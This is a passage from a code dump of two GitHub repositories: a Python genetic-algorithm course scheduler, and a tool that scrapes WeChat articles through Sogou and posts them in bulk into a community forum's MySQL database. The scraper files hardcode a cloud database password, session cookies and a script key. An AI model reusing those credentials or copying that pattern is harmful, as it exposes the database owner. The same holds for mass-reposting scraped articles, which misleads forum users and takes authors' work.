\r\n astring = ''\r\n astring += ' '*res \r\n astring += '★'*i \r\n print(astring) \r\n\r\n\r\n" } ]
12
TheIdhem/zhenetic
https://github.com/TheIdhem/zhenetic
c667069bfa8799a0d33713840278c1dfeb48f400
8a102f6bfe6173b1c03626f960a80149af0a4218
824e2309e55d4c188611e16c9919e29fe42ca69a
refs/heads/master
2020-04-09T18:28:07.525994
2018-12-05T12:16:23
2018-12-05T12:16:23
160,513,366
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6223776340484619, "alphanum_fraction": 0.6223776340484619, "avg_line_length": 19.428571701049805, "blob_id": "d36b3886274188b03e93fd2805410085e26ed745", "content_id": "4a84a97640610757a889aeb296320b649443d49b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 143, "license_type": "no_license", "max_line_length": 49, "num_lines": 7, "path": "/function.py", "repo_name": "TheIdhem/zhenetic", "src_encoding": "UTF-8", "text": "import random\n\ndef mix_array(array):\n result = []\n result = array[:]\n result = random.sample(array[:], len(result))\n return result\n" }, { "alpha_fraction": 0.5882353186607361, "alphanum_fraction": 0.5932773351669312, "avg_line_length": 20.285715103149414, "blob_id": "012119e118674ba19f626463d50e21b6e90ffdf2", "content_id": "47e301910f8280469c397d8e7bdf52425793ab72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 595, "license_type": "no_license", "max_line_length": 56, "num_lines": 28, "path": "/course.py", "repo_name": "TheIdhem/zhenetic", "src_encoding": "UTF-8", "text": "import random\n\nclass Course:\n def __init__(self, happines, number):\n self.happines = happines\n self.number = number\n self.teachers = []\n\n def get_cnumber(self):\n return self.number\n \n\n def get_happines(self):\n return self.happines\n\n\n def set_teacher(self, teacher):\n self.teachers.append(teacher)\n\n\n def has_teacher(self):\n if len(self.teachers) > 0:\n return True\n return False\n\n def get_random_teacher(self):\n number = random.randint(0, len(self.teachers)-1)\n return self.teachers[number]" }, { "alpha_fraction": 0.6413502097129822, "alphanum_fraction": 0.649789035320282, "avg_line_length": 20.545454025268555, "blob_id": "51825e521036040d65ae6707d76c14fb309213a7", "content_id": "3adeb37a47faaf785bd742f0706fa8a95a1b1fe0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 237, "license_type": "no_license", "max_line_length": 70, "num_lines": 11, "path": "/main.py", "repo_name": "TheIdhem/zhenetic", "src_encoding": "UTF-8", "text": "from input import *\nfrom solver import Solver\n\nPOPULATION_SIZE = 15\n\n\nif __name__ == '__main__':\n d, t, courses, teachers, sadness = get_input()\n\n solver = Solver(d, t, courses, teachers, sadness, POPULATION_SIZE)\n solver.run()\n" }, { "alpha_fraction": 0.5841996073722839, "alphanum_fraction": 0.5841996073722839, "avg_line_length": 19.869565963745117, "blob_id": "1903ede1a162372267b824aff29c9bbd9a6d1a61", "content_id": "0c8e2887c2e5643b064fa332a0cb3602396c41d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 481, "license_type": "no_license", "max_line_length": 44, "num_lines": 23, "path": "/teacher.py", "repo_name": "TheIdhem/zhenetic", "src_encoding": "UTF-8", "text": "\n\nclass Teacher:\n def __init__(self, teacher_number):\n self.courses = []\n self.teacher_number = teacher_number\n\n\n def get_courses(self):\n return self.courses\n\n\n def set_courses(self, courses):\n self.courses = courses\n\n \n def get_teacher_number(self):\n return self.teacher_number\n\n\n def get_courses_numbers(self):\n result = []\n for i in self.courses:\n result.append(i.get_cnumber())\n return result" }, { "alpha_fraction": 0.5519372224807739, "alphanum_fraction": 0.5609552264213562, "avg_line_length": 33.21714401245117, "blob_id": "7bb20eeca223835c1518c5d8338df4838ad686b9", "content_id": "f18c10afc13778ef5f8f2ae5bb4cd56a1d33b504", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5988, "license_type": "no_license", "max_line_length": 118, "num_lines": 175, "path": "/solver.py", "repo_name": "TheIdhem/zhenetic", "src_encoding": "UTF-8", "text": "from program import Program\nimport random\nimport math\nMUTATION_PROBABILITY = 0.01\nCHILDREN_SELECTION = 0.8\n\n\nclass Solver:\n def __init__(self, d, t, courses, teachers, sadness, population_size):\n self.population_size = population_size\n self.d = d\n self.t = t\n self.courses = courses\n self.teachers = teachers\n self.population = []\n self.sadness = sadness\n self.best_result_number = 0\n self.best_result = []\n self.iteration = 0\n\n\n\n def find_course(self, courses_number):\n for i in range(len(self.courses)):\n if self.courses[i].get_cnumber() == courses_number:\n return self.courses[i]\n #throm exception\n\n\n def run(self):\n self.start_info()\n self.initiate_population()\n self.genetic()\n # self.print_output()\n\n\n def initiate_population(self):\n for i in range(self.population_size):\n chromosome = Program(self.courses, self.teachers, (self.d*self.t))\n chromosome.init_gen()\n self.population.append(chromosome.get_slots())\n\n\n def fitness_function(self, chromosome):\n result = 0\n for i in range(len(chromosome)):\n for key, value in chromosome[i].iteritems():\n result += self.find_course(key).get_happines()\n minus = 0\n for i in range(len(chromosome)):\n for key1, value1 in chromosome[i].iteritems():\n for key2, value2 in chromosome[i].iteritems():\n minus += self.sadness[key1-1][key2-1]\n minus /= 2\n result -= minus\n return result\n\n\n def save_best(self):\n for i in range(len(self.population)):\n self.population[i] = self.check_gen(self.population[i])\n result = self.fitness_function(self.population[i])\n if result > self.best_result_number:\n self.iteration = 0\n print \"Better result:\", result\n self.best_result_number = result\n self.best_result = self.population[i]\n for i in range(len(self.best_result)):\n for key, value in self.best_result[i].iteritems():\n print \" Course number:\", key, \"Teacher number:\", value.get_teacher_number(),\n print \"Day:\", int(i/self.t), \"Time:\", int(i % self.t)\n print \"\\n\"\n\n\n def genetic(self):\n\n for j in range(len(self.population)):\n self.population[j] = self.check_gen(self.population[j])\n\n new_population = []\n iteration_number = 0\n while self.iteration != 1000:\n self.save_best()\n for i in range(len(self.population)):\n\n parents = self.select_parents()\n chromosome = self.crossover(parents)\n chromosome = self.mutation(chromosome)\n chromosome = self.check_gen(chromosome)\n chromosome = self.mutation2(chromosome)\n chromosome = self.check_gen(chromosome)\n new_population.append(chromosome)\n\n new_population = random.sample(new_population, int(len(new_population)* CHILDREN_SELECTION)) + self.best()\n self.population = new_population\n new_population = []\n iteration_number += 1\n self.iteration += 1\n print \"Iteraion#:\", iteration_number\n\n\n def check_gen(self, chromosome):\n thought_course = [False] * len(self.courses)\n for j in range(len(chromosome)):\n for k in chromosome[j].keys():\n if thought_course[k-1]:\n del chromosome[j][k]\n else:\n thought_course[k-1] = True\n return chromosome\n\n\n def mutation2(self, chromosome):\n not_thought_course = []\n for i in range(len(self.courses)):\n not_thought_course.append(i+1)\n for j in range(len(chromosome)):\n for k in chromosome[j].keys():\n not_thought_course.remove(k)\n for i in range(len(not_thought_course)):\n if self.courses[not_thought_course[i]-1].has_teacher():\n teacher = self.courses[not_thought_course[i]-1].get_random_teacher()\n slot = random.randint(0, len(chromosome)-1)\n if teacher not in chromosome[slot].values():\n chromosome[slot][not_thought_course[i]] = teacher\n return chromosome\n \n\n\n\n def best(self):\n last_index = math.ceil(len(self.population)*(1-CHILDREN_SELECTION))\n return sorted(self.population, key=lambda x: self.fitness_function(x))[len(self.population)-int(last_index):]\n\n\n def mutation(self, chromosome):\n if random.random() <= MUTATION_PROBABILITY:\n index = random.randint(0, len(chromosome)-1)\n index2 = random.randint(0, len(chromosome)-1)\n temp = chromosome[index]\n chromosome[index] = chromosome[index2]\n chromosome[index2] = temp\n return chromosome\n\n\n\n\n def crossover(self, parents):\n if len(parents[0]) < 4:\n middle = random.randint(0, len(parents[0])-1)\n else:\n middle = random.randint(2, len(parents[0])-2)\n return parents[0][:middle] + parents[1][middle:]\n\n\n def select_parents(self):\n return random.sample(self.population, 2)\n\n\n\n def start_info(self):\n print \"Starting...\"\n print \" Population size:\", self.population_size, \"\"\n print \" CHILDREN_SELECTION:\", CHILDREN_SELECTION, \"\\n\"\n\n\n # def print_output(self):\n # print \"Output:\"\n # print self.best_result_number\n # for i in range(len(self.best_result)):\n # for key, value in self.best_result[i].iteritems():\n # print \" Course number:\", key, \"Teacher number:\", value.get_teacher_number(),\n # print \"Day:\", int(i/self.t), \"Time:\", int(i%self.t)\n\n # print \"End.\"\n" }, { "alpha_fraction": 0.5341652035713196, "alphanum_fraction": 0.541889488697052, "avg_line_length": 35.58695602416992, "blob_id": "bc20a601018cdc4f8260e89189d65c0b1a8b5463", "content_id": "f5b2b5d921ddb0f0700811cc4cbecf5682891363", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1683, "license_type": "no_license", "max_line_length": 75, "num_lines": 46, "path": "/program.py", "repo_name": "TheIdhem/zhenetic", "src_encoding": "UTF-8", "text": "import random\nfrom function import *\n\n#class Chromosome\nclass Program:\n def __init__(self, courses, teachers, gen_number):\n self.courses = courses\n self.teachers = teachers\n self.gen_number = gen_number\n self.slot = []\n for i in range(gen_number):\n temp = {}\n self.slot.append(temp)\n\n\n def get_slots(self):\n return self.slot\n\n\n # def init_gen(self):\n # thought_course = [False] * len(self.courses)\n # temp_teachers = mix_array(self.teachers)\n # for i in range(len(temp_teachers)):\n # teacher_courses = temp_teachers[i].get_courses_numbers()\n # for j in range(self.gen_number):\n # if len(teacher_courses) == 0:\n # break\n # # print len(teacher_courses)\n # num = random.randint(0, len(teacher_courses)-1)\n # if thought_course[teacher_courses[num]-1] == False:\n # self.slot[j][teacher_courses[num]] = temp_teachers[i]\n # thought_course[teacher_courses[num]-1] = True\n # del teacher_courses[num]\n\n\n def init_gen(self):\n temp_teachers = mix_array(self.teachers)\n for i in range(len(temp_teachers)):\n teacher_courses = temp_teachers[i].get_courses_numbers()\n for j in range(self.gen_number):\n if len(teacher_courses) == 0:\n break\n num = random.randint(0, self.gen_number-1)\n num2 = random.randint(0, len(teacher_courses)-1)\n self.slot[num][teacher_courses[num2]] = temp_teachers[i]\n del teacher_courses[num2]\n" }, { "alpha_fraction": 0.5914198160171509, "alphanum_fraction": 0.5965270400047302, "avg_line_length": 27.794116973876953, "blob_id": "8668900723c7e66041df06f1f252d1253ac0ba16", "content_id": "a35af3902881bdbb9769441b4940fb5da3eaadb8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 979, "license_type": "no_license", "max_line_length": 67, "num_lines": 34, "path": "/input.py", "repo_name": "TheIdhem/zhenetic", "src_encoding": "UTF-8", "text": "from course import Course\nfrom teacher import Teacher\n\n\ndef get_input():\n d, t = map(int, raw_input().split())\n\n c = input()\n happiness_courses = []\n happiness_courses = map(int, raw_input().split())\n courses = []\n for i in range(c):\n course = Course(happiness_courses[i], i+1)\n courses.append(course)\n\n teachers = []\n p = input()\n for i in range(p):\n courses_presented = map(int, raw_input().split())\n del courses_presented[0]\n temp_c = []\n teacher = Teacher(i+1)\n for j in range(len(courses_presented)):\n temp_c.append(courses[courses_presented[j]-1])\n courses[courses_presented[j]-1].set_teacher(teacher)\n teacher.set_courses(temp_c)\n teachers.append(teacher)\n\n sadness = []\n for i in range(c):\n sadnessFirstDimension = list(map(int, raw_input().split()))\n sadness.append(sadnessFirstDimension)\n \n return d, t, courses, teachers, sadness\n" } ]
7
yyjTom/wxtomysql
https://github.com/yyjTom/wxtomysql
4957552f4443964922a1423bace65048eeaaa9af
708bdd91b88ddf96d964e564027492dbb3f05b26
bb29549182d1a4333bf7e2b9216ff3ec8c3d2a05
refs/heads/master
2020-06-12T11:37:47.890523
2017-01-19T09:37:59
2017-01-19T09:37:59
75,583,131
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.48725587129592896, "alphanum_fraction": 0.541873574256897, "avg_line_length": 32.55555725097656, "blob_id": "95d1ca523e62a87ff6983506152d13beaef44e6b", "content_id": "ed835849974df669eff72e8e8c373c14a685f90d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3445, "license_type": "no_license", "max_line_length": 217, "num_lines": 90, "path": "/wxlist.py", "repo_name": "yyjTom/wxtomysql", "src_encoding": "UTF-8", "text": "import re\nimport urllib.request\nimport urllib\nimport pymysql\nfrom collections import deque\nfrom bs4 import BeautifulSoup\nimport time\nimport sys\nimport getpass\nimport random\n\n#字符串替代函数,1对应url,2对应html\ndef unescape(s,strtype):\n if strtype==1: \n #s = s.replace(\"&lt;\", \"<\")\n #s = s.replace(\"&gt;\", \">\")\n # this has to be last:\n s = s.replace(\"&amp;\", \"&\")\n elif strtype==2:\n s = s.replace(\"data-src\", \"width=\\\"100%\\\" src\")\n s = s.replace(\"data-w\", \"aa\")\n s = s.replace(\"'\", \"\")\n elif strtype==3: \n s = s.replace(\"\\\"\", \"\")\n s = s.replace(\"\\n\", \"\")\n return s\n#获取搜狗微信中索引连接\n#query:关键字,page:查找的页数(1页10条索引)\ndef listwx(query,page):\n state=0\n #已队列形式存储访问的链接 \n queue = deque()\n #存储已经访问到的链接\n visited = set()\n #搜狗微信的根地址\n # url = \"http://weixin.sogou.com/weixin?type=2&ie=utf8&p=42341200&dp=1\"\n # url = \"http://weixin.sogou.com/weixin?type=2&ie=utf8&dp=1\"\n url =\"http://weixin.sogou.com/weixin?usip=null&from=tool&ft=&tsn=1&et=&interation=null&type=2&wxid=&ie=utf8\" \n user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'\n #按照页数循环遍历\n count=1;\n \n while (count <= page):\n # print(\"防止被禁止,等待中。。。\")\n #time.sleep(1)\n url = \"http://weixin.sogou.com/weixin?type=2&ie=utf8&dp=1\"\n \n values = {'page' : count, \n 'query' : query}\n\n data = urllib.parse.urlencode(values)\n url=url+'&'+data\n\n headers = {'Cookie': 'CXID=D3404FABEEBE7CAAC342A938AF1926E4; SUID=836CA46F4E6C860A57AADED000022AA2; SUV=00CE353B6FA45EA257BD2B7285E0E720; IPLOC=CN1200; SUIR=1480588826; SNUID=379F93E6C9CF885FB9EA7900CADEC68D'}\n print(url) \n req = urllib.request.Request(url,headers=headers)\n response = urllib.request.urlopen(req)\n data = response.read().decode(\"utf-8\")\n## print(data)\n \n # 正则表达式提取页面中所有队列, 并判断是否已经访问过, 然后加入待爬队列\n linkre = re.compile('href=\\\"(http://mp.weixin.qq.com/s.+?)\\\"')\n if len(linkre.findall(data))<3:\n \n state=0\n while state!=1 and state!=2 and state!=3:\n print(\"此网页现在需要输入验证码,才能继续抓取!请用ie打开网址http://weixin.sogou.com/weixin?query=1,输入验证码\")\n print(\"输完验证码请按1,跳过网页抓取直接开始分析请按2,取消此次工作输入请按3\") \n state = int(input(\"请输入:\"));\n print (\"你输入的内容是: \",state) \n \n if state ==0:\n pass\n if state == 1:\n continue \n elif state == 2:\n return queue\n elif state ==3:\n print (\"程序退出\")\n sys.exit(0) \n\n for x in linkre.findall(data):\n y=unescape(x,1)\n if 'http' in y and y not in visited:\n visited |= {y}\n print('加入队列 ---> ' + y) \n queue.append(y) \n print(\"已经采集的页数:\",count)\n count +=1\n return queue\n\n" }, { "alpha_fraction": 0.6265941858291626, "alphanum_fraction": 0.6428967714309692, "avg_line_length": 27.441640853881836, "blob_id": "f59ca7ba6a3e4df9a6dca30002f50ea6ac134332", "content_id": "aed14872638f0c9ddd3c94d587bb89c47bdfa632", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10007, "license_type": "no_license", "max_line_length": 145, "num_lines": 317, "path": "/bbsTool.py", "repo_name": "yyjTom/wxtomysql", "src_encoding": "UTF-8", "text": "from tkinter import *\nfrom tkinter import messagebox\nfrom tkinter.ttk import *\nimport json\nimport re\nimport urllib.request\nimport urllib\nimport pymysql\nfrom collections import deque\nfrom bs4 import BeautifulSoup\nimport time\nimport random\nimport wxlist\nimport wxtosql\nimport threading\nimport webbrowser\nimport os\ndef downicon():\n temp=os.path.exists(\"egj.ico\")\n if(temp==False):\n print(\"aa\")\n url=\"http://60.205.150.155/bbstool/egj.ico\"\n urlop=urllib.request.urlopen(url)\n date=urlop.read()\n f = open(\"egj.ico\",'wb') \n f.write(date) \n f.close() \n print('Pic Saved!') \n\ndef btnljdis():\n btnlj.state(['disabled'])\n btnlj.update_idletasks()\n \ndef loginstate(statestr):\n state[\"text\"]=statestr\n state.update_idletasks()\n \ndef autostate(statestr):\n stateauto[\"text\"]=statestr\n stateauto.update_idletasks()\n \ndef ljstate(statestr):\n statelj[\"text\"]=statestr\n statelj.update_idletasks()\n \ndef systime():\n print(\"获取网络时间\")\n try:\n urltime=\"http://admin.egjegj.com/util/api/getTime/\"\n urlop = urllib.request.urlopen(urltime)\n date = urlop.read().decode(\"utf-8\")\n date = date.replace(\"\\\"\", \"\")\n date = date.replace(\"\\n\", \"\")\n print(\"获取网络时间成功:\"+date)\n statestr=\"获取网络时间成功:\"+date\n global sysdata\n sysdata=date\n loginstate(statestr)\n except: \n date=time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()) )\n print(\"获取网络时间失败,获取本地时间:\",date)\n statestr=\"获取网络时间失败,获取本地时间:\"+date\n global sysdata\n sysdata=date\n loginstate(statestr)\ndef version(num):\n url=\"http://admin.egjegj.com/handyService/api/getOtherVersion\"\n urlop = urllib.request.urlopen(url)\n json_str = urlop.read().decode(\"utf-8\")\n data = json.loads(json_str)\n print(data)\n value=data['version']['version']\n msg=data['version']['desc']\n print(value)\n if(num!=value):\n ans=messagebox.askyesno(title='新版本提醒', message = \"发现e管家灌水工具有新版本,是否更新\\n更新提醒:\\n\"+msg)\n if(ans):\n url=data['version']['path'] \n webbrowser.open_new(url)\n #os.exit() \n sys.exit()\n\ndef get_screen_size(window): \n return window.winfo_screenwidth(),window.winfo_screenheight()\n \ndef get_window_size(window): \n return window.winfo_reqwidth(),window.winfo_reqheight() \n \ndef center_window(root, width, height): \n screenwidth = root.winfo_screenwidth() \n screenheight = root.winfo_screenheight() \n size = '%dx%d+%d+%d' % (width, height, (screenwidth - width)/2, (screenheight - height)/2) \n print(size) \n root.geometry(size)\ndef sysclose(*e):\n print(\"exit\")\n sys.exit()\n\n#root.deiconify() 显示窗体\n#root.withdraw() 隐藏窗体\n#name.grid_forget() 删除组件\ndef reg(): \n n=name.get()\n p=password.get()\n if(n and p): \n \n t1 = threading.Thread(target=loginstate(\"正在登陆...............................................................\"))\n t1.start()\n url=\"http://wuye.egjegj.com/index.php/Api/Public/login?username=\"+n+\"&password=\"+p\n urlop = urllib.request.urlopen(url)\n json_str = urlop.read().decode(\"utf-8\")\n data = json.loads(json_str)\n print(data)\n value=data['operateSuccess']\n if(value):\n t1 = threading.Thread(target=loginstate(\"登陆成功,等待跳转\"))\n t1.start()\n global userid\n global loginName\n global nickName\n global cid\n cid=data['user']['communityId']\n userid=data['user']['id']\n loginName=data['user']['loginName']\n nickName=data['user']['nickName']\n print(\"id:\"+userid+loginName+nickName)\n loginWin.withdraw()\n choiceWin.deiconify() \n else:\n state[\"text\"]=\"用户名或密码错误\"\n else:\n state[\"text\"]=\"请输入用户名或密码\"\n \ndef auto():\n autoWin.deiconify()\n print(\"id:\"+userid+loginName+nickName)\n \ndef lj():\n ljWin.deiconify()\n print(\"id:\"+userid+loginName+nickName)\n \ndef quitlj():\n btnlj.state(['!disabled'])\n ljWin.withdraw()\n print(\"id:\"+userid+loginName+nickName)\n \ndef quitauto():\n btnauto.state(['!disabled'])\n autoWin.withdraw()\n print(\"id:\"+userid+loginName+nickName)\n \ndef cmdlj():\n btnlj.state(['disabled'])\n \n ljstate(\"开始抓取\")\n\n styletype=ljstyle.get()\n plate=ljplate.get() \n \n conn=pymysql.connect(host='rds5ty3k88i163pqs7y7.mysql.rds.aliyuncs.com',user='lcht',passwd='lcht2015_yyj',db='egjbbs',port=3306,charset='utf8')\n cur=conn.cursor()#获取一个游标\n print(cur)\n \n \n ljstate(\"分析url中...\")\n url=urltext.get(\"0.0\", \"end\");\n print()\n sql=wxtosql.wxtosql(url,userid,loginName,styletype,plate,sysdata,nickName,cid);\n if(sql.find('error')==-1):\n cur.execute(sql)\n conn.commit()\n ljstate(\"操作成功\")\n else:\n ljstate(sql)\n conn.commit()\n cur.close()#关闭游标\n conn.close()#释放数据库资源 \n print(\"成功\") # 把末尾的'\\n'删掉\n \ndef cmdauto():\n btnauto.state(['disabled'])\n autostate(\"开始抓取\")\n styletype=autostyle.get()\n plate=autoplate.get()\n keywords=autokey.get()\n num=int(autonum.get())\n page=num/10\n conn=pymysql.connect(host='rds5ty3k88i163pqs7y7.mysql.rds.aliyuncs.com',user='lcht',passwd='lcht2015_yyj',db='egjbbs',port=3306,charset='utf8')\n cur=conn.cursor()#获取一个游标\n print(cur)\n queue=wxlist.listwx(keywords,page)\n autostate(\"获取列表完成\")\n autostate(\"分析列表中...\")\n count=1;\n while queue:\n url=queue.popleft(); \n sql=wxtosql.wxtosql(url,userid,loginName,styletype,plate,sysdata,nickName,cid);\n if(len(sql)>0):\n cur.execute(sql)\n conn.commit()\n autostate(\"成功插入%s条\"%(count))\n count=count+1;\n conn.commit()\n cur.close()#关闭游标\n conn.close()#释放数据库资源\n autostate(\"操作成功\")\n print(\"成功\") # 把末尾的'\\n'删掉\nglobal loginName\nglobal userid\nglobal nickName\nglobal sysdata\nglobal cid\nsysdata=date=time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))\nsversion = threading.Thread(target=version(\"2.3\"))\nsversion.start()\nstime = threading.Thread(target=systime)\nstime.start()\ndownicon()\n#登陆窗口创建\nloginWin=Tk()\nloginWin.title(\"e管家灌水工具\")\nloginWin.iconbitmap('egj.ico')\ncenter_window(loginWin,260,170)\n#loginWin.geometry('600x600')\nLabel(loginWin,text=\"在此输入您选择发布信息的用户名和密码\").grid(row=0,columnspan=2,padx=10,pady=5)\nLabel(loginWin,text=\"账号:\").grid(row=1,sticky=E)\nname=Entry(loginWin)\nname.grid(row=1,column=1,sticky=E,padx=10,pady=5)\n\nLabel(loginWin,text=\"密码:\").grid(row=2,sticky=E)\npassword=Entry(loginWin)\npassword['show']=\"*\"\npassword.grid(row=2,column=1,sticky=E,padx=10,pady=5)\nButton(loginWin, text=\"确定\", command = reg).grid(row=4,columnspan=2,padx=10,pady=5)\n#底部状态显示栏\nstate=Label(loginWin,text=\"\")\nstate.grid(row=5,columnspan=2,sticky=W)\nloginWin.protocol(\"WM_DELETE_WINDOW\", sysclose)\n\n\n#链接抓取窗口\nljWin=Tk()\nljWin.title(\"链接抓取\")\nljWin.iconbitmap('egj.ico')\nljWin.overrideredirect(True)\ncenter_window(ljWin,500,400) # 是x 不是*\n\nLabel(ljWin, text=\"请在搜狗搜索中,搜索您的微信文章,链接为:http://weiloginWin.sogou.com/\").pack()\nLabel(ljWin, text=\"请要输入连接\").pack()\nurltext=Text(ljWin,height=5,width=50)\nurltext.pack()\n\nLabel(ljWin, text=\"请要输入要灌水的版块id:\").pack()\nljplate = Entry(ljWin,text=\"\")\nljplate.pack()\n\nLabel(ljWin, text=\"请选择发布图文类型\").pack()\nLabel(ljWin, text=\"输入0:无图模式,输入1:标准魔术,输入2:右图模式\",foreground=\"red\").pack()\nLabel(ljWin, text=\"输入3:单图模式,输入其他值将随机随机\",foreground=\"red\").pack()\nljstyle = Entry(ljWin,text=\"随机\")\nljstyle.pack()\n\nLabel(ljWin, text=\" \").pack()\nbtnlj=Button(ljWin, text=\"确定\", width=10,command = cmdlj)\nbtnlj.pack()\nButton(ljWin, text=\"关闭\", width=10,command = quitlj).pack()\nstatelj=Label(ljWin,text=\"\")\nstatelj.pack()\n\n\n\n\n#自动抓取窗口\nautoWin=Tk()\nautoWin.title(\"自动抓取\")\nautoWin.iconbitmap('egj.ico')\nautoWin.overrideredirect(True)\ncenter_window(autoWin,500,400) \n\nLabel(autoWin, text=\"请要输入要查找的关键词:\").pack()\nautokey=Entry(autoWin,text=\"\")\nautokey.pack()\n\nLabel(autoWin, text=\"请要输入要搜集多少条目(10的倍数):\").pack()\nautonum = Entry(autoWin,text=\"\")\nautonum.pack()\n\nLabel(autoWin, text=\"请要输入要灌水的版块id:\").pack()\nautoplate = Entry(autoWin,text=\"\")\nautoplate.pack()\n\nLabel(autoWin, text=\"请选择发布图文类型\").pack()\nLabel(autoWin, text=\"输入0:无图模式,输入1:标准魔术,输入2:右图模式\",foreground=\"red\").pack()\nLabel(autoWin, text=\"输入3:单图模式,输入其他值将随机随机\",foreground=\"red\").pack()\nautostyle = Entry(autoWin,text=\"随机\")\nautostyle.pack()\n\nbtnauto=Button(autoWin, text=\"确定\", width=10,command = cmdauto)\nbtnauto.pack()\nButton(autoWin, text=\"关闭\", width=10,command = quitauto).pack()\nstateauto=Label(autoWin,text=\"\")\nstateauto.pack()\n\n\n#选择模式窗口\nchoiceWin=Tk()\nchoiceWin.iconbitmap('egj.ico')\nchoiceWin.title(\"选择模式\")\ncenter_window(choiceWin,280,100)\nButton(choiceWin, text=\"自动抓取\",width=10,command = auto).grid(row=0,column=0,padx=30,pady=30)\nButton(choiceWin, text=\"链接抓取\",width=10,command = lj).grid(row=0,column=1,padx=30,pady=30)\nchoiceWin.protocol(\"WM_DELETE_WINDOW\", sysclose)\n#隐藏除登陆外的所有窗口\nljWin.withdraw()\nautoWin.withdraw()\nchoiceWin.withdraw()\nloginWin.mainloop()\n\n" }, { "alpha_fraction": 0.5422077775001526, "alphanum_fraction": 0.5891774892807007, "avg_line_length": 28.615385055541992, "blob_id": "16194894077ec70344a442eecb2f3e9216e22545", "content_id": "7884266ecc9d036161aad9f5f7651a5c3b0f60a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5452, "license_type": "no_license", "max_line_length": 259, "num_lines": 156, "path": "/wxTomysql_v0.2.py", "repo_name": "yyjTom/wxtomysql", "src_encoding": "UTF-8", "text": "import re\nimport urllib.request\nimport urllib\nimport pymysql\nfrom collections import deque\nfrom bs4 import BeautifulSoup\nimport time\nimport sys\nimport getpass\n#python默认的递归深度是很有限的,再次定义更大递归深度\nsys.setrecursionlimit(1000000) #例如这里设置为一百万\n\nglobal state\nstate=0\n\n#字符串替代函数,1对应url,2对应html\ndef unescape(s,strtype):\n if strtype==1: \n #s = s.replace(\"&lt;\", \"<\")\n #s = s.replace(\"&gt;\", \">\")\n # this has to be last:\n s = s.replace(\"&amp;\", \"&\")\n elif strtype==2:\n s = s.replace(\"data-src\", \"width=\\\"100%\\\" src\")\n s = s.replace(\"'\", \"\")\n elif strtype==3: \n s = s.replace(\"\\\"\", \"\")\n return s\n\n#获取搜狗微信中索引连接\n#query:关键字,page:查找的页数(1页10条索引)\ndef listwx(query,page):\n global state\n #已队列形式存储访问的链接 \n queue = deque()\n #存储已经访问到的链接\n visited = set()\n #搜狗微信的根地址\n url = \"http://weixin.sogou.com/weixin?type=2&ie=utf8&p=42341200&dp=1\"\n url = \"http://weixin.sogou.com/weixin?type=2&ie=utf8&dp=1\"\n user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'\n #按照页数循环遍历\n count=1;\n \n while (count <= page):\n # print(\"防止被禁止,等待中。。。\")\n #time.sleep(1)\n \n \n values = {'page' : count, \n 'query' : query}\n\n data = urllib.parse.urlencode(values)\n url=url+'&'+data\n\n headers = {'Cookie': 'CXID=D3404FABEEBE7CAAC342A938AF1926E4; SUID=836CA46F4E6C860A57AADED000022AA2; SUV=00CE353B6FA45EA257BD2B7285E0E720; IPLOC=CN1200; SUIR=1480588826; SNUID=379F93E6C9CF885FB9EA7900CADEC68D'}\n print(url) \n req = urllib.request.Request(url,headers=headers)\n response = urllib.request.urlopen(req)\n data = response.read().decode(\"utf-8\")\n## print(data)\n \n # 正则表达式提取页面中所有队列, 并判断是否已经访问过, 然后加入待爬队列\n linkre = re.compile('href=\\\"(http://mp.weixin.qq.com/s.+?)\\\"')\n if len(linkre.findall(data))<3:\n \n state=0\n while state!=1 and state!=2 and state!=3:\n print(\"此网页现在需要输入验证码,才能继续抓取!请用ie打开网址http://weixin.sogou.com/weixin?query=1,输入验证码\")\n print(\"输完验证码请按1,跳过网页抓取直接开始分析请按2,取消此次工作输入请按3\") \n state = int(input(\"请输入:\"));\n print (\"你输入的内容是: \",state) \n \n if state ==0:\n pass\n if state == 1:\n continue \n elif state == 2:\n return queue\n elif state ==3:\n print (\"程序退出\")\n sys.exit(0) \n\n for x in linkre.findall(data):\n y=unescape(x,1)\n if 'http' in y and y not in visited:\n visited |= {y}\n print('加入队列 ---> ' + y) \n queue.append(y) \n print(\"已经采集的页数:\",count)\n count +=1\n return queue\n\n\nprint(\"获取网络时间\")\ntry:\n urltime=\"http://admin.egjegj.com/util/api/getTime/\"\n urlop = urllib.request.urlopen(urltime)\n date = unescape(urlop.read().decode(\"utf-8\"),3) \n print(\"获取网络时间成功:\"+date)\nexcept:\n print(e)\n sys.exit(0) \n date=time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()) )\n print(\"获取网络时间失败,获取本地时间:\",date)\n\nprint(\"请输入此脚本密钥\");\nkey=getpass.getpass()\n#key=\"lcht%2016\"\nwhile key!=\"lcht%2016\":\n print(\"密码不正确请重新输入\");\n key=getpass.getpass()\n \nkeywords = input(\"请要输入要查找的关键词:\");\nprint (\"你要查找的关键词是: \",keywords)\nnum = int(input(\"请要输入要搜集多少条目(10的倍数):\"));\nprint (\"你要查找的条数为: \",num)\npage=num/10\nqueue=listwx(keywords,page)\n\n\n\n\n\nconn=pymysql.connect(host='localhost',user='root',passwd='root',db='stblog',port=3306,charset='utf8')\ncur=conn.cursor()#获取一个游标\nprint(cur)\n\nwhile queue:\n url=queue.popleft();\n #print(\"防止被禁止,等待中。。。\")\n #time.sleep(1)\n 